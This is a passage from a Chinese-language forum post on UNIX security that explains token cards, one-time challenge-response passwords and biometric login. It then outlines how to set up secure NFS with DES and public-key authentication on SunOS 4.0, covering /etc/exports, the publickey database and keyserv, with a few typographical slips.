地標識用戶.
. 標記識別:標記是密碼的物理實現,許多標記識別系統使用某種形式的
卡(如背面有磁條的信用卡),這種卡含有一個編碼後的隨機數.卡
由連線到終端的閱卡機讀入,不用再敲入密碼.為了增加安全性,
有的系統要求讀入卡和敲入密碼.有些卡的編碼方法使得編碼難
於複製.標記識別的優點是,標識可以是隨機的並且必須長於密碼.
不足之處是每個用戶必須攜帶一個卡(卡也可與公司的徽記組合
使用).並且每個終端上必須連接一個閱讀機.
. 一次性密碼:即"詢問-回應系統".一次性密碼系統允許用戶每次登入時
使用不同的密碼.這種系統允許用戶每次登入時使用不同的密碼.
這種系統使用一種稱做密碼發生器的設備,設備是手攜式的(大約
為一個袖珍計算器的大小),並有一個加密程序和獨一的內部加密
關鍵詞.系統在用戶登入時給用戶提供一個隨機數,用戶將這個隨
機數送入密碼發生器,密碼發生器用用戶的關鍵詞對隨機數加密,
然後用戶再將密碼發生器輸出的加密密碼(回答)送入系統,系統
將用戶輸入的密碼,與它用相同的加密程序,關鍵詞和隨機數產生
的密碼比較,如果二者相同,允許用戶存取系統.這種方法的優點
是:用戶可每次敲入不同的密碼,因此不需要密碼保密,唯有密碼
發生器需要安全保護.為了增加安全性,UNIX系統甚至不需聯機保
存關鍵詞,實際的關鍵詞可儲存在有線連接於系統的一個特殊加
密電腦中.在用戶登入期間,加密電腦將為用戶產生隨機數和
加密密碼.這樣一種系統的優點是,密碼實際不由用戶輸入,系統
中也不儲存關鍵詞,即使是加密格式的關鍵詞也可儲存於系統中.
其不足之處類似於標記識別方法,每個用戶必須攜帶密碼發生器,
如果要離線儲存關鍵詞,還需要有一個特殊硬體.
. 個人特徵:有些識別系統檢測如指印,簽名,聲音,零售圖案這倦的物理
特徵.大多數這樣的系統極是實驗性的,昂貴的,並且不是百分之
百的可靠.任何一個送資料到遠端系統去核實的系統有被搭線竊
聽的危險,非法入侵者只須記錄下送去系統校核的信息,以後再重
顯示這些信息,就能竊密.注意:這同樣也是標記識別系統的一個
問題.
6.SUN OS系統的網路安全
美國SUN MICROSYSTEM公司的SUN OS操作系統是建立在貝爾實驗室的UNIX
SYSTEM V和加州大學伯克得分校的UNIX 4.3基礎上的UNIX操作系統.SUN OS 4.0
版提供了專門的鑒別系統,該系統極大地提高了網路環境的安全性.它也可用來
確保其它UNIX系統或非UNIX系統的安全.它使用DES密碼機構和公共關鍵字密碼
機構來鑒別在網路中的用戶和機器.DES表示資料編碼標準,而公共資料編碼機構
是包含兩種密鑰的密碼系統:一種是公用的,另一種是專用的.公用的密鑰是公開
的而專用密鑰是不公開的.專用(秘密)的密鑰用來對資料進行編碼和解碼.
SUN OS系統不同於其它公共關鍵字編碼之系統在於:SUN OS的公用和專用密
鑰都被用來產生一個通用密鑰,該密鑰又用來產生DES密鑰.

(1)確保NFS的安全
在網路文件系統NFS上建立安全系統,首先文件系統必須開放並保證裝配
的安全.
. 編輯/etc/exports文件,並將-Secure任選項加在要使用DES編碼機構的文
件系統上.在螢幕上顯示伺服器怎樣開放安全的/home目錄,如:
home -Secure,access=engineering
其中engineering是網路中唯一能存取/home文件系統的用戶組.
. 對於每台客戶端機(CLIENT),編輯/etc/fastab文件時,Secure將作為一個裝
配任選項出現在每個需要確保安全的文件系統中.
. SUN OS中包括有/etc/publickey資料庫,該庫對每個用戶均包含有三個域:
用戶的網路名,公用密鑰和編碼後的密鑰.當正常安裝時X唯一的用戶是
nobody,這個用戶可以無需管理員的干預即可建立自己的專用密鑰(使用
chkey(1)).為了進一步確保安全,管理員可為每個使用newkey(8)的用戶
建立一個公用密鑰.
. 驗證keyserv(8c)工作由/etc/rc.local啟動,並且仍在執行.該工作執行
對公用密碼的編碼,並將編碼後的專用密鑰存入/etc/keystore中.
. 此時,所有的用戶(除超級用戶)都必須使用yppasswd來替代passwd,以使
得登入的密碼與用戶的密鑰一致.其結果是在網路中每台客戶端機的
/etc/passwd文件中不能有每個用戶的用戶名,因而應使用有預設值的
/etc/passwd文件.
. 當安裝,移動或昇級某台機器時,要將/etc/keystore和/etc/.rootkey兩
個文件保留.
注意:當你使用login,rlogin或telnet指令到遠端機器時,你會被要求輸
入密碼.一旦你輸入正確的密碼,你也就洩漏了你的帳號.因為此時你的密鑰是
存放在/etc/keystore中.當然這是指用戶對遠端機器的安全不信任時.如果用
戶覺得遠端機器在安全保密方面不可靠,那就不要登入到遠端機器去,而可使
用NFS來裝配你所搜尋的文件
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次